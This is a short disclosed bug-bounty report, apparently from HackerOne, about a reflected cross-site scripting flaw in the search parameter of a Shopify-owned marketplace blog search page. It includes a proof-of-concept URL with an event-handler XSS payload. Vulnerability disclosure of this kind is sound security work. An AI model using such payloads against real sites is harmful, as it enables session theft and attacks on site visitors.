Shopify · Report #1145162
XSS at https://exchangemarketplace.com/blogsearch
Validstatus
mediumseverity
174upvotes
9 Apr 2021disclosed
How it was found
There is an XSS vulnerability on https://exchangemarketplace.com/blogsearch page through the q parameters.
https://exchangemarketplace.com/blogsearch?q=OnMoUsEoVeR=prompt(/hacked/)//
{F1251282}